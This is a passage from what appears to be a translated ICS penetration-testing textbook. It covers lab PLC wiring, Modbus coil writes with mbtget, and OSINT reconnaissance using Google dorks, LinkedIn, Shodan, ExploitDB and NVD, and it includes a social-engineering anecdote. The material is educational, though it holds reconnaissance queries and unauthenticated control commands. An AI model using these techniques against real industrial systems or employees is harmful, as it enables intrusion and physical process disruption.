接下来,我们需要添加一个END功能,告诉程序我们已经完成所有操作。从指令列表菜单中,在程序控制标题下,选择并拖动END功能到第 2 横排末尾的( NOP )位置,如下截图所示:

图 3.21 – 添加 END 功能

图 3.21 – 添加 END 功能

添加END功能后,我们要检查语法错误。定期运行语法检查是个好习惯,这样您可以在将来开发更复杂的程序时捕捉任何错误之前,避免它们变成重大问题。在程序选项卡上,双击梯形图程序文件夹中的语法检查选项,如下所示:

图 3.22 – 语法检查

图 3.22 – 语法检查

输出窗口中,您应该看到语法检查的结果。如果您一直在紧密跟随,您应该有类似的结果:

图 3.23 – 语法检查

图 3.23 – 语法检查

如您所见,目前有0 个错误0 个警告。此时,您应该保存程序,然后将项目写入 PLC。要将项目写入 PLC,请从PLC菜单中选择将项目写入 PLC…选项,如下截图所示:

图 3.24 – 将项目写入 PLC…

图 3.24 – 将项目写入 PLC…

完成后,您将看到一个对话框,简要介绍了一个diff功能,我们将在当前 PLC 项目与您将写入 PLC 的项目上使用,如下所示:

图 3.25 – 将项目写入 PLC 窗口

图 3.25 – 将项目写入 PLC 窗口

如果一切顺利,您应该看到一个传输完成对话框,如下所示:

图 3.26 – 传输完成

图 3.26 – 传输完成

接下来,您将被要求将PLC 模式设置从停止更改为运行,如下所示:

图 3.27 – PLC 模式窗口

图 3.27 – PLC 模式窗口

如果一切正常,您应该看到以下指示器:

  • 一个绿色的运行状态

  • 没有PLC 错误消息

  • 蓝色突出显示的END功能

  • 输出窗口将项目写入 PLC…

  • 输出窗口传输完成

这些指示器显示在以下截图中:

图 3.28 – 运行指示器

图 3.28 – 运行指示器

在这一部分,我们学习了如何使用输入和输出创建一个简单的程序,该程序包含常开触点和线圈。我们进行了语法检查,并将项目写入我们的 PLC。这使我们更深入地理解了编程软件的工作原理,并获得了创建和写入项目的实践经验。这些是学习的基础,是任何自动化和控制项目的构建模块。在下一部分,我们将模拟输入上的信号,使我们的程序产生输出。然后,我们将为程序中创建的线圈提供电能。

覆盖和接线输入输出

在上一部分,我们创建了一个简单的Hello World程序,并将其写入 PLC。在这一部分,我们将模拟输入触点上的信号,为输出端的线圈供电。我们将深入了解 CLICK 编程软件的功能,熟悉数据视图,并覆盖输入以产生一个通电的线圈。为此,我们将使用一个名为数据视图的工具,它允许我们读取和写入我们在上一部分中为常开触点选择的内存地址。

为此,请从监视器菜单中打开数据视图窗口,如下图所示:

图 3.29 – 数据视图选择

图 3.29 – 数据视图选择

您将看到一个空白表格,如下所示:

图 3.30 – 数据视图工具

图 3.30 – 数据视图工具

现在,我们将选择001行中的地址单元格,然后点击对话框左上角的编辑按钮,这将允许您选择我们之前使用的地址选择器。在这里,我们为触点输入线圈输出分配了地址。接下来,您将看到自动填充的地址空间,从X001开始,在第一个内存地址中,您应该会看到X001已使用列中显示。这是反馈,告诉我们在程序中使用了X001。如下图所示:

图 3.31 – 地址选择器

图 3.31 – 地址选择器

继续选择X001并按下确定按钮。这样将填充我们的数据视图工具中的编号 **001行。您将看到昵称设置(如果之前给它设置了),我们的当前值新值写入(用于反馈),查看格式**,以及您可能添加的任何地址评论。如下图所示:

图 3.32 – 选择的 X001 地址

图 3.32 – 选择的 X001 地址

现在,尝试选择新值列中的ON按钮。写入列中将出现一个图标,允许你将输入值写入 PLC。双击该图标,看看会发生什么。此时应该什么都没有发生。图标确实将值写入 PLC 的内存空间,但针脚 I/O 是主导的,PLC 上的物理输入没有发生变化,因此什么都没有改变。正是因为这种行为,我们必须启用Override。在对话框中,我们会看到查看 Override的选项。你需要启用此选项。启用后,你将看到在写入图标旁边新增了一列。添加了一个OVR按钮,如下图所示:

图 3.33 – Override

图 3.33 – Override

双击OVR按钮,这将启用此 I/O 的Override功能。CLICK 编程软件会在主窗口中打开Override指示器,并在数据视图窗口中将OVR按钮高亮显示为黄色:

图 3.34 – 启用 Override

图 3.34 – 启用 Override

现在,尝试重新运行我们之前运行的操作,在新值列中选择ON按钮,并双击写入图标。你应该能听到 PLC 上线圈的通电声音,并且可以看到线圈上的指示灯亮起,同时编程软件显示X001被高亮显示,以及Y001,如下所示:

图 3.35 – 通电线圈

图 3.35 – 通电线圈

如果你没有看到高亮显示的输入和输出,如图所示,请确保选择了状态监视器。你可以在监视器菜单中找到它,选择状态监视器后:

图 3.36 – 状态监视器

图 3.36 – 状态监视器

继续双击新值列中的OFF按钮,如下图所示。你应该会注意到,通过双击按钮,我们节省了一步;这只是为了显示有多种方式可以快速覆盖输入:

图 3.37 – 输入关闭

图 3.37 – 输入关闭

到目前为止,我们做的所有操作都是软件相关的。现在,我们将使用选择开关站框,如图所示:

图 3.38 – 选择开关站框

图 3.38 – 选择开关站框

这种开关,或类似的开关,可以在亚马逊上购买。我们将使用短时按键,即绿色按钮,并将其接线到我们在上一节中编程并寻址的X001输入接点。

使用你的菲利普斯螺丝刀拆下四个面板螺丝和面板。当你打开控制箱时,你会看到三个开关模块,每个模块里都有四个接线端子。专注于瞬时开关,两个接线端子组与开关的动作相关联。因为我希望按下按钮时电流能够通过开关,所以我将使用底部的接线端子。你可以使用电压表测试接线端子,并测试模块两侧的连续性。按下开关,看看接线端子是否产生短路,导致电压表发出蜂鸣声。我认为,使用电压表检查连续性已经成为我数百个项目中的主要用途,现在想想其实有些可惜,因为电压表还有很多其他功能和特性。一旦你确认使用的是正确的接线端子,剪下并剥去两根电线的绝缘层。将每根电线的一端连接到接线端子两侧。然后,一侧连接到电源,另一侧将这根电线连接到X1PLC输入/输出端。可以参考以下图示:

图 3.39 – 接线图

图 3.39 – 接线图

在输入/输出端子上,你会看到C1C2,分别代表公共端 1公共端 2。将公共端 1 接地。如果所有接线都正确,按下瞬时开关将激活线圈,你应该会看到红色指示灯亮起,如图所示:

图 3.40 – 实物接线

图 3.40 – 实物接线

现在我们有了一个控制X001输入的按钮,并且在Y001上有了视觉反馈。接下来,我们将为工业信号塔灯接线输出,其外观类似于下图:

图 3.41 – 工业信号塔灯

图 3.41 – 工业信号塔灯

重要提示

接线输出将需要你修改程序,通过复制第 1 行并为信号塔灯中的每盏灯创建一行。我使用的是一个四灯系统,包含红色黄色绿色蓝色灯。

以下图示展示了如何将信号塔灯连接到输出通道。因为我使用的是一个四灯系统,所以我将红色接到Y001,黄色接到Y002,绿色接到Y003,蓝色接到Y004,如图所示:

图 3.42 – 输出接线到塔灯

图 3.42 – 输出接线到塔灯

到目前为止,你应该已经接好了输出并更改了程序以适应新的灯光输出,并将更改写入 CLICK PLC。这个过程与上一节中我们写入 PLC 的单个梯形图程序相同。你的程序应该如下所示,应该有四个新的独立输入来自X001X004,以及四个新的独立输出来自Y001Y004

图 3.43 – 四灯接线程序

图 3.43 – 四灯接线程序

在本节中,我们学习了如何重写输入值以模拟控制器输出端的信号。我们将一个按钮开关接入 X001,并将四灯信号塔灯接入 Y001、Y002、Y003 和 Y004。现在,我们有了一个完整的物理演示,并且对自动化工程师在接手新项目和新组件时所面临的挑战有了一定了解。在下一节中,我们将学习如何通过编写和启动脚本与我们的实验室进行交互。

控制测试

在上一节中,我们学习了如何重写输入并在接触点 X001 上模拟信号,从而触发 Y001 线圈上的输出。接着,我们将 PLC 的输入端接到开关,并用物理输入再现相同的结果。最后,我们接线了四灯信号塔。在本节中,我们将通过使用在第二章中安装的MBtget工具,从DataView和我们的 SCADA 虚拟机测试信号塔

你需要执行以下步骤:

  1. 打开DataView1,正如我们在上一节中所做的那样;作为复习,请查看以下截图,你将在监视器| 数据视图部分找到它:图 3.44 – 数据视图

    图 3.44 – 数据视图

  2. 这将弹出数据视图窗口。正如我们之前所做的,添加你在上一节中创建的新接点。这些接点是地址空间中的X002X003X004。确保启用视图重写选项。如果一切顺利,你的屏幕应该类似于以下内容:图 3.45 – 数据视图

    图 3.45 – 数据视图

  3. 现在,继续切换输入并逐步移动每个值,确保你的物理灯塔打开与你为输出配置的匹配灯光。你会注意到你可以看到 CLICK 上的视觉反馈,和你在软件中看到的一样,如下所示:图 3.46 – 重写灯光

    图 3.46 – 重写灯光

  4. 现在我们已经将所有灯光打开,打开之前我们创建的 SCADA 虚拟机。前往 Navigator** > **Virtual Machines** > **SCADA 来查找它,如下所示:

图 3.47 – SCADA 虚拟机

图 3.47 – SCADA 虚拟机

启动 SCADA 控制台并打开您的 终端 程序。使用 mbtget -h 命令查看有关 mbtget 工具的详细信息,如下所示:

图 3.48 – mbtget 工具

图 3.48 – mbtget 工具

这是解释 mbtget 的一个好时机

mbtget 是一个用 Perl 编写的工具,允许我们通过 ModbusTCP 在端口 502 上直接与 Koyo Click 交互。有关更多详细信息,请访问以下链接并查看 GitHub 上的项目:github.com/sourceperl/mbtget

好的,让我们回到正常的编程工作。现在我们已经将 mbtget 安装在 SCADA 机器上,我们可以通过运行以下命令检查我们在上一部分中配置的四个线圈的位:

mbtget -r1 -a 0 192.168.1.20

让我们来看一下命令中包含的参数。我们将在 第八章**,协议 202 中更详细地介绍 modbus 协议。现在,我们需要知道我们正在使用的线圈的内存地址,以及我们是要读取还是写入该内存地址:

  • -r1:读取功能 1 的位

  • -a:地址 0

  • PLC 地址是 192.168.1.20

如果您已经清除了编程软件中设置的所有覆盖项,您应该看到以下输出,其中地址 1 的值为 0

图 3.49 – 地址 0 读取输出

图 3.49 – 地址 0 读取输出

现在,使用以下命令将值写入线圈:

mbtget -w5 1 -a 0 192.168.1.20

以下是命令中包含的参数:

  • -w5:将功能值 1 写入以开启

  • -a:地址 0

  • PLC 地址是 192.168.1.20

如果一切正常,您应该已经点亮了信号塔中的第一个/最上面的灯,并获得以下结果:

图 3.50 – 写入值到线圈

图 3.50 – 写入值到线圈

现在,为了使用 mbtget 确认输出,请再次运行读取线圈命令:

mbtget -r1 -a 0 192.168.1.20

以下是命令中的参数:

  • -r1:读取功能 1 的位

  • -a:地址 0

  • PLC 地址是 192.168.1.20

如果一切正常,您应该看到以下输出:

图 3.51 – 读取线圈地址 0

图 3.51 – 读取线圈地址 0

您应该看到地址值已经更改为 1,并且灯亮了。继续测试塔中的其余灯光,按照我们之前的步骤进行操作。将 1 写入下一个地址,读取线圈位,并确保输出符合预期。

你可能注意到,通过一个简单的命令行功能随机设置一个比特是多么容易,可能会想知道安全特性在哪里。为什么你可以覆盖一个线圈而不需要输入密钥密码?这真的是工业环境如此不安全吗?嗯,我得说是的,也不是。是的,工业环境传统上一直如此不安全,但在提升对该领域存在的安全问题的意识方面,已经取得了很大进展。厂商们已经听取了反馈,并开始将安全层嵌入到他们的系统中。然而,这并不意味着客户已经将其遗留系统升级为新技术。现在,对于那些好奇的你们,可能已经意识到发生了什么……是的,你们抓到了我——之所以能够这么做,是因为我们在编程软件中仍然启用了覆盖功能。移除覆盖功能后,再尝试通过强制控制线圈来测试 mbtget。结果如何?你应该看不到任何结果——什么也不会发生。这是因为我们已经告诉 PLC 只对本地输入做出反应。

总结

在本章中,我们构建了一个介绍性功能实验室,在这里我们可以在 PLC 中开发逻辑,并连接到现实世界的输入输出,观察在特定环境测试下事物如何反应。这有助于传达工业系统如何运作和工作的基本理解。基于这些核心概念,我们可以将实验室扩展到更复杂的场景。我们使用工程软件强制输入,然后我们通过 mbtget 在远程复制相同的行为,以说明如何轻松改变控制器上的简单开/关输入。

想象一下其他行业流程是如何运作的,例如水厂上开关阀门,或是打开氢氧化钠(也称为烧碱)储罐的阀门,并允许它流入水处理单元,这与 2021 年 2 月 5 日发生的佛罗里达市供水黑客攻击类似。然而,佛罗里达市供水黑客攻击更为复杂,因为它涉及在操作员屏幕上更改浓度数值。这一更改通过食谱逻辑块传递,最终指示阀门保持更长时间开启,直到浓度水平匹配新的设定值。这是一个实际世界中,因小小的逻辑更改而可能产生重大影响的例子。这是双刃剑,也是渗透测试任务中的警示故事。非常容易破坏并导致客户流程停机,从而造成严重的生产和收入损失。

在下一章中,我们将暂时停止构建我们的 ICS 实验室,并讨论开源情报OSINT)收集,因为这是任何渗透测试任务中的关键步骤。

第三章:第二节 - 理解裂缝

收集足够的前期接触数据可能决定渗透测试工作的成败。在启动会议前就发现一些重大漏洞是完全可能的。深入了解客户的行业、流程、员工、设备和技术对于取得成功至关重要。

本节将涵盖以下章节:

  • 第四章开源忍者

  • 第五章尽可能扩展我

  • 第六章数据包深度分析

第四章:开源忍者

本章将带领你,读者,通过 Google-Fu 的艺术,研究公司、设施、流程、控制、合同或其他形式的公开共享信息。这让你了解如何在接触之前尽可能多地获取信息。关键的一点是,员工们喜欢反复发布有关其组织的信息。通常公司不公开分享的信息可能包括用于分段的防火墙、端点保护、网络访问控制NAC)信息、入侵检测系统IDS)产品的实施情况,以及许多其他揭示策略。然而,随着连接需求的增加,像 LinkedIn 这样的社交网站可能会揭示一个组织正在使用的技术。

现在我们已经了解了关于我们追求的组织的一些惊人细节,我们可以问一个问题:什么是侧载? 如果我们知道这家公司是 Rockwell,我们能在 Rockwell 的支持网络上创建账户吗?我们能否设计工具和人员,更深入地渗透到这个组织中?

本章将涵盖以下主要内容:

  • 理解 Google-Fu

  • 搜索 LinkedIn

  • 尝试使用 Shodan.io

  • 使用 漏洞数据库exploit-db)进行调查

  • 浏览 国家漏洞数据库NVD

技术要求

本章所需的工具:

  • 一台带有浏览器的计算机,用来访问本文讨论的网站

  • 拥有一个 LinkedIn 账户将对本章内容非常有帮助

理解 Google-Fu

谷歌必须是市场上最著名的搜索引擎之一。我个人在 Netscape 时代就使用过 WebCrawler。我记得第一次在 2002 年听到“你谷歌过了吗?”这句话时,我正在修理某人的 PalmPilot。可能已经不言自明,任何阅读这篇内容的人都曾在某个时刻使用过 Google 搜索引擎。尽管如此,我仍然想传达一些事实:谷歌搜索引擎是一个庞大的索引器,基本上是在爬取互联网,记录并保存它所遇到的数据。现在,这个接下来的统计数字纯粹是推测,并没有量化的证据;然而,我相当确信 99% 的谷歌用户从未真正拥抱谷歌提供的高级功能。

Google dorkingGoogle hacking 只是利用 Google 的高级搜索功能从互联网上获取敏感信息的一种方法。将多个高级搜索功能结合起来使用,可以让用户快速获取公开索引的信息。使用这些高级功能是完全合法的;然而,当索引的数据被用来破坏和利用所有者的数据时,合法性便受到挑战。这类似于发现漏洞。发现一个漏洞并不违法——今天的软件到处都是漏洞,因此我们不断进行更新。然而,如果新的漏洞被用来利用使用相同软件的其他客户,这就是违法的。话虽如此,在进行渗透测试pentest)或进行研究时,使用 Google dorking 获取敏感信息需要负责任的披露。

注释

负责任的披露是一个过程,安全人员通过此过程将其研究中发现的漏洞报告给相关方,如软件或硬件供应商、敏感数据已暴露的公司以及本地计算机应急响应小组CERT)。

在免责声明说明完毕后,接下来我们继续。这里有一个Google Hacking 数据库GHDB)的链接,记录了许多可以使用的高级功能:www.exploit-db.com/google-hacking-database

一旦您导航到该网站,它将如下所示:

图 4.1 – GHDB

图 4.1 – GHDB

以下是 Google dorking 的一些高级功能简要列表。还有许多其他功能可以在前面的链接中找到,但我不想陷入一个无休止的兔子洞:

  • site: (仅在提供的网站中搜索)

  • inurl: (在提供的统一资源定位符URL)中搜索关键词)

  • intitle: (在网页标题中搜索关键词)

  • intext: (在网页正文中搜索关键词)

  • filetype: (根据提供的关键词搜索文件)

  • ext: (根据提供的关键词搜索文件)

这些功能可以在 Google 浏览器中运行,专注于与您的客户相关的信息。例如,您可以运行以下截图所示的搜索:

图 4.2 – 高级搜索

图 4.2 – 高级搜索

这将搜索 www.cdc.gov/ 网站,查找可能可访问的任何公开面向的文件传输协议FTP)服务器。这是一个非常简单的示例,有助于演示 Google 搜索引擎提供的高级功能的能力。可以搜索其他服务和托管的文件共享,示例如下:

  • Web 分布式创作与版本控制WebDAV):intitle:"Directory Listing For /" + inurl:webdav tomcat

  • 结构化查询语言SQL): intitle: "index of" "admin/sql/"

  • VTScada**: **intitle:'VTScada Anywhere Client'

一个更复杂的功能可能类似于这里展示的内容:

图 4.3 – 复杂功能

图 4.3 – 复杂功能

你将看到一系列 Rockwell 的可编程逻辑控制器PLC)及其暴露到互联网上的网页访问接口。查看图 4.3中展示的命令,你会发现我们正在寻找 URL 中index.html标题里的Rockwell Automation这个词,最后是特定的设备名称。很多设备都可以通过这种方式被发现。

使用标准查询和这些高级功能,你可以开始构建客户的个人资料。构建个人资料是渗透测试工作中的关键步骤,它能让你深入了解客户的基础设施,这对收集信息并取得测试成功至关重要。从公司名称开始,确定该客户所在的行业。这一点非常重要,因为某些工业控制系统ICS)供应商在特定行业中占有较强的市场份额。一个典型的例子是Schweitzer Engineering LaboratoriesSEL),他们的产品几乎可以满足所有类型的行业需求;然而,你会发现它们主要集中在能源领域。如果你参与的是能源生产、传输或分配相关的客户,你可以确信会接触到 SEL 的技术。这只是一个技术绑定于某个行业的例子,实际上还有很多类似的例子,通过我们之前介绍的搜索功能可以很容易地找到。

在这一部分,我们介绍了谷歌高级搜索功能的强大,以及通过编写高度聚焦的查询语句能够捕获的详细信息。我们可以利用发现的数据,在甚至还未进入会议之前,先构建客户的个人资料。在下一部分,我们将回顾“人员”这一部分,并探索如何有效使用 LinkedIn。

搜索 LinkedIn

LinkedIn 无疑是全球最大的职业社交网络平台。该平台总用户超过 7.4 亿。根据 LinkedIn 公开的统计数据,平台上列出了超过 5500 万家公司,相关数据可以通过以下链接找到:news.linkedin.com/about-us#Statistics

由于平台上有大量的用户和公司,我们有很大机会在渗透测试过程中发现一些有价值的信息。因为这个网站基本上是一个专业人士的实时虚拟简历,用户的大量信息以易于搜索的文本格式存储。关于公司规模、公司所在行业、公司使用的技术以及公司雇佣的人员等数据点,都是通过搜索输入轻松获取的。

在 LinkedIn 上搜索可以精确到以下细节:

  • 人员

  • 工作

  • 公司

  • 群组

  • 学校

  • 帖子

  • 事件

当你搜索一个客户的公司时,搜索结果将与公司的相对规模相关,如下图所示:

图 4.4 – 公司搜索

图 4.4 – 公司搜索

从这些信息中,我们可以知道员工的居住地和他们的学习经历。我们能够通过职称、关键词或学校来搜索员工。现在,对于那些观察细致的朋友,你可能已经注意到了一个漏洞!LinkedIn 显示有 24,887 名员工,并且标注有 25,042 名员工住在美国US)。人工智能AI)总有一天会接管这个世界,但朋友们,还没有到时候。我们可以通过寻找一般性的关键词来开始缩小搜索范围。从监控与数据采集(SCADA)开始,我们找到了 476 名在个人资料中列出 SCADA 的员工,如下图所示:

图 4.5 – SCADA 子搜索

图 4.5 – SCADA 子搜索

针对特定技能关键词进行搜索,如telvent,将有助于缩小搜索范围,找到该示例公司使用的系统以及可能拥有这些系统凭证的人。你可以在下图中看到返回的结果:

图 4.6 – Telvent 技能集

图 4.6 – Telvent 技能集

当你聚焦于一部分个人并研究他们的当前职位及其工作场所的成就时,你可以找到许多有趣且具体的细节,如下图所示,其中出于礼貌公司名称已被编辑掉:

图 4.7 – 系统上的公开信息

图 4.7 – 系统上的公开信息

如你所见,在这一部分,使用 LinkedIn 填补空白,可以轻松建立公司的整体档案。LinkedIn 的搜索功能允许我们列出员工和职位,深入了解公司使用的技术,并最终列出一份可能具有该技术访问权限的凭证账户短名单(如前截图所示)。为了建立显示,用户需要在Telvent-DMS配电管理系统)和SCADA-EMS能源管理系统)上拥有账户。利用这些随时可用的数据对于任何成功的项目都是至关重要的。在下一部分中,我们将探索 Shodan.io,并查看使用该搜索引擎收集的见解如何帮助完善那些容易获取的技术信息。

使用 Shodan.io 进行实验

如其主页所宣称,"Shodan 是全球首个互联网连接设备的搜索引擎。"在过去的两个部分中,我们使用了不同的搜索策略,免费获取了关于一个组织的结构和组织方式的见解,并揭露了可能对公众开放的任何服务。这使我们能够为客户建立关于他们所处行业、雇用员工以及——如果幸运的话——他们使用的技术的档案。在本部分中,我们将通过使用 Shodan.io 更深入地探索服务和技术。

如果你访问以下链接,你将看到如下一张搜索引擎窗口的截图:

图 4.8 – Shodan.io 搜索引擎

图 4.8 – Shodan.io 搜索引擎

点击探索按钮将带我们到以下屏幕:

图 4.9 – 探索 Shodan.io

图 4.9 – 探索 Shodan.io

接下来,我们点击顶部的分类,工业控制系统,你将被带到一个如下所示的页面:

图 4.10 – 工业控制系统

图 4.10 – 工业控制系统

如果你向下滚动页面,你会注意到系统是通过搜索引擎发现的协议来记录的。这些协议是面向公众的,如下所示:

图 4.11 – 面向公众的协议

图 4.11 – 面向公众的协议

现在,我们跳过了直接查看工业控制系统部分,但如果这是一次真实的项目,你应该首先搜索公司名称,查看是否有任何“低挂的项目”存在。此外,我建议你养成习惯,在登录页面的搜索输入框中查找企业互联网协议IP)范围。

故事时间

我之所以这样说,是因为在一次任务中,我刚到达客户的总部。我的团队已经在里面,所以我迅速将笔记本连接到手机,并简单地查了一下客户的 IP 范围,结果发现了一个Citrix 虚拟专用网络VPN访问门户。我用手机打电话给接待员,通过社交工程获取了 VPN 门户的凭据。我迅速登录并意识到,可以通过一个简单的“自助服务终端突破”来利用这个门户,而且整个门户是在域控制器上以域管理员身份运行的。更不用说,这次为期两周的任务进行得非常顺利。

现在,免责声明时间再次到来。点击任何协议的探索按钮是完全无害的,查看屏幕上共享的信息也是可以的。进入所发现的 IP 地址则进入了一个非常灰色的区域,因为本应公开的信息可能不该公开。尽管如今在 Shodan 上找到完整的操作员控制台已经很少见,但并非不可能。如果你遇到一个天然气管道的 SCADA 系统,如果突然间压缩机站关闭或主线截止阀关闭,你肯定会面临责任问题。还记得我们在GE-XA21 LinkedIn 用户中发现的 SCADA 系统吗?它使用分布式网络协议 3DNP3)进行通信,并且还使用了其他各种协议。如果你查看协议部分,你会看到DNP3按钮。点击它,你将被带到以下屏幕:

图 4.12 – DNP3 被发现

图 4.12 – DNP3 被发现

在浏览时,你会发现有很多选项可以进行过滤和搜索。你可以按国家、城市、组织、设备、服务、端口等进行过滤。出于好奇,我们来搜索一下我们在实验室中设置的Koyo CLICK PLC,并查看结果,如下所示:

图 4.13 – Koyo CLICK

图 4.13 – Koyo CLICK

如你所见,Shodan 已经抓取了那些开放到互联网的 Koyo CLICK 设备。

注意

我想强调的是,作为蓝队成员,你应该定期检查 Shodan.io 上你组织的 IP 空间和技术。这将帮助你提前发现任何不合规的漏洞,并迫使渗透测试人员在执行任务时更加努力。

在本节中,我们简要介绍了使用 Shodan.io 查找暴露在互联网上的工业技术的强大功能。在渗透测试过程中,使用 Shodan.io 是必须的,因为您可能会发现一些有趣的客户设备和/或在线服务。到目前为止,在正常的渗透测试过程中,您应该已为客户组建了一个全面的资料。您将拥有与客户相关的公司、行业、技术和人员。接下来的部分,我们将回顾 exploit-db,我们之前通过 Google 黑客技术提到过它,但这次我们将深入探讨如何将技术与已发现并记录的漏洞关联起来。

使用 ExploitDB 进行调查

ExploitDB 是一个庞大的共享发现档案库,涉及软件缺陷、漏洞利用和安全漏洞。它允许安全研究人员和渗透测试人员以易于搜索的格式分享已知的安全漏洞。访问 www.exploit-db.com,您将进入主页,看到最新记录的漏洞,如下图所示:

图 4.14 – ExploitDB

图 4.14 – ExploitDB

如果您注意到,右侧有一个搜索输入框。输入 SCADA 并按 Enter 键。在本书印刷时,您会看到 50 个与各种 SCADA 系统相关的漏洞,如下图所示:

图 4.15 – SCADA 漏洞

图 4.15 – SCADA 漏洞

如您在屏幕上看到的,我们有八个标题,概述如下:

  • 日期:漏洞被添加到 ExploitDB 的日期。

  • 下载:这是您可以下载的代码,用于执行漏洞利用。

  • 应用:这是漏洞利用所针对的易受攻击应用程序的副本。

  • 已验证:这是一个批准通知,表明该漏洞利用已被验证有效。

  • 标题:漏洞利用描述。

  • 类型:漏洞利用类型。

  • 平台:漏洞利用所针对的系统。

  • 作者:这是漏洞利用代码的作者。

对于许多漏洞,作者已经提供了代码,帮助您快速审查和增强您的环境。这种查看代码结构以进行 概念验证(POC) 工作的技巧将在后续章节中深入讨论,但现在,您只需知道,您可以访问各种代码,帮助您在客户的技术栈中找到立足点。我们将仔细看看一个简单的漏洞。如果我们查看以下截图,您会发现 Rockwell SCADA 在 2018 年有一个列出的漏洞利用:

图 4.16 – Rockwell 漏洞利用

点击描述,查看以下屏幕:

图 4.17 – Rockwell SCADA 漏洞利用

图 4.17 – Rockwell SCADA 漏洞利用

如果你注意到,CVE(即常见漏洞和暴露)被标记为 2016-2279,意味着这个漏洞追溯到 2016 年——或者至少是 2016 年报告的——但并不一定意味着它是在 2016 年被发现的;它可能是在更早的日期被发现的。如你所见,这个漏洞影响的不同版本都有记录,并且脚本的最末端有一个简单的 PoC 示例,这意味着通过 图形用户界面GUI),我们可以运行简单的 跨站脚本攻击XSS)来劫持用户会话或窃取敏感的系统信息,不过我们稍后会详细讨论这个问题。现在我们知道可以通过 exploit-db 搜索任何已知的漏洞和相关代码,这些代码利用了这些缺陷。所有这些都可以在参与前进行。接下来,我想快速查看 NVD,以了解 exploit-db 中找到的漏洞代码的来源和驱动程序。

遍历 NVD

NVD 是开放源代码领域中记录漏洞的最大联合体。访问 nvd.nist.gov/vuln/search 会带你进入以下页面:

图 4.18 – NVD

图 4.18 – NVD

现在,搜索我们之前在 Exploit DB 中找到的 Rockwell SCADA 的 CVE。该 CVE 是 2016-2279。在搜索输入框中键入这个 CVE 并按下 Enter,你将看到以下页面:

图 4.19 – NVD CVE 2016-2279

图 4.19 – NVD CVE 2016-2279

现在,点击结果窗口中 Vuln ID 字段中的链接,你将看到以下页面:

图 4.20 – CVE-2016-2279 详情

图 4.20 – CVE-2016-2279 详情

这里收集并展示了大量信息。最值得注意的是受影响的系统及其附带的风险评分。审查这些数据非常重要,因为你可以了解发现这些控制器及其版本在客户环境中的影响深度和广度。为了查看更相关的内容,返回主页面并对 Rockwell 技术进行查询。你应该能看到以下漏洞:

图 4.21 – Rockwell 漏洞

图 4.21 – Rockwell 漏洞

在这里,你可以看到与 Rockwell 相关的 94 条记录。最后发布的日期是2021 年 3 月 3 日,该记录的 CVE ID 为CVE-2021-22681。审查这个漏洞时,你会发现它的风险等级是严重——这完全正确,因为它表明未经过身份验证的攻击者可以绕过认证,直接在控制器上进行更改。这是非常可怕的,因为攻击者可以更改工艺的设定点,导致非计划停机、失去控制,甚至是工艺失败。这对渗透测试者来说是个好消息,因为它为访问关键基础设施提供了一个起点。

免责声明

在处理有物理访问权限的输入/输出I/O)层面的过程控制漏洞时,应该进行记录,而不是立即采取行动,除非你确切知道利用已知漏洞的后果是什么,因为事情往往会变得不可预测或出现严重问题,所有这些结果都可能非常令人恐惧。

在本节中,我们了解了 NVD 是什么,以及我们可以在哪里找到更多关于已记录已知漏洞的知识。这是至关重要的,因为我们可以在评估报告中构建支持证据,并利用已记录的漏洞来获取对客户基础设施的访问权限。

总结

在本章中,我们讨论了许多开源情报OSINT)主题,特别关注于 ICS 领域。我们研究了 Google-Fu,以及如何研究我们的客户,以发现行业细节和可能的用户。为了深入挖掘,我们转向 LinkedIn,查看是否有员工在上面发布了与雇主和使用的技术相关的敏感信息。

接下来,我们查看了 Shodan.io,探索在公开可访问的网络上运行的技术,看看这些技术是否属于我们的客户。之后,我们访问了 ExploitDB,查看是否有任何公开的代码,能够利用我们在前面步骤中发现的技术漏洞。最后,我们直接查看了 NVD,了解我们收集的系统中存在哪些漏洞。通过收集并记录这些信息,我们对客户的行业、人员、流程和技术有了全面的了解。

在下一章中,我们将学习跨越并捕获流量的重要性,这些流量可以帮助我们发现哪些真实设备在网络上进行通信。

第五章:如果你能做到,给我加个 SPAN

在上一章中,我们讲解了如何使用开源研究来构建客户、公司、用户和技术的档案。在本章中,我们将进一步深入讨论带外网络监控。在过去几年中,入侵检测系统IDS)一直主导着工业网络安全领域。

像 Security Matters(被 ForeScout 收购)、Indegy(被 Tenable 收购)、Sentryo(被 Cisco 收购)、CyberX(被 Microsoft 收购)、Claroty、Nozomi Networks、SCADAfence 等公司蓬勃发展。来自风险投资VC)和投资银行IB)的资金已经注入到被动监控领域,以提高对自动化技术重要性的认识,同时它对关键基础设施的影响也在不断增加。

所有这些技术都依赖于网络基础设施,能够使用交换端口分析仪SPAN)或测试接入点TAP)来捕获流量并将其发送到 IDS 技术。理解如何使用上述方法进行带外监控非常重要,并且在渗透测试过程中,如果客户已经投资了特定的 IDS 供应商,了解这一点尤为关键。

在本章中,我们将回顾什么是 SPAN 以及如何将流量镜像到端口,什么是 TAP 以及如何在渗透测试中使用它,并讨论在工业领域中利用 SPAN 的各种 IDS 技术,以及在遇到这些技术时应如何应对。

在本章中,我们将讨论以下主要内容:

  • 安装 Wireshark

  • 什么是 SPAN 以及如何配置它

  • 在参与活动中使用 TAP

  • 导航 IDS 安全监控

技术要求

本章所需的内容:

安装 Wireshark

经过一番深思熟虑的辩论后,我决定将这一部分移到本章的开头。原本我计划将其放在下一章,但在回顾后,我觉得它与接下来的内容衔接得很好。话虽如此,还是让我们直接开始吧。Wireshark 是网络工程师和安全人员都在使用的事实标准工具,用于监控通过网络传输的所有数据位。当出现问题时,个人或团队首先做的就是打开笔记本电脑并启动 Wireshark。我无法过分强调这一点;Wireshark 基本上是安全行业中最重要的工具之一,具有讽刺意味的是,人们很少将它归类为安全工具。Wireshark 是你为渗透测试工作组装的工具包中的必备之物。

访问 www.wireshark.org/#download,你将被带到 Wireshark 的稳定版本下载页面。在撰写本文时,当前的稳定版本是 3.4.4,发布于 2021 年 3 月 10 日。现在,对于一些“终端爱好者”,“CLI 行家”和“shell 武士”,或者那些可能在 Apple 笔记本或 Linux 发行版上使用“Brew”的用户,下面的命令适合你们。

macOS

你可以使用 Brew 来安装 Wireshark,如下所示:

brew install wireshark

Linux 发行版

你可以使用 apt-get 来安装 Wireshark,如下所示:

sudo apt-get install wireshark

Windows 10

我只是简单地给你这个链接:en.wikiversity.org/wiki/Wireshark/Install

安装过程很简单,有很多 YouTube 视频、维基百科、博客和论坛可以作为参考。

注意

在安装过程中,你需要确保安装额外的或互补的组件。此时,TShark、解码器插件、Editcap、Mergecap 以及其他关键组件就派上用场了。在接下来的几章中,我们将会涉及到其中的一些项目。

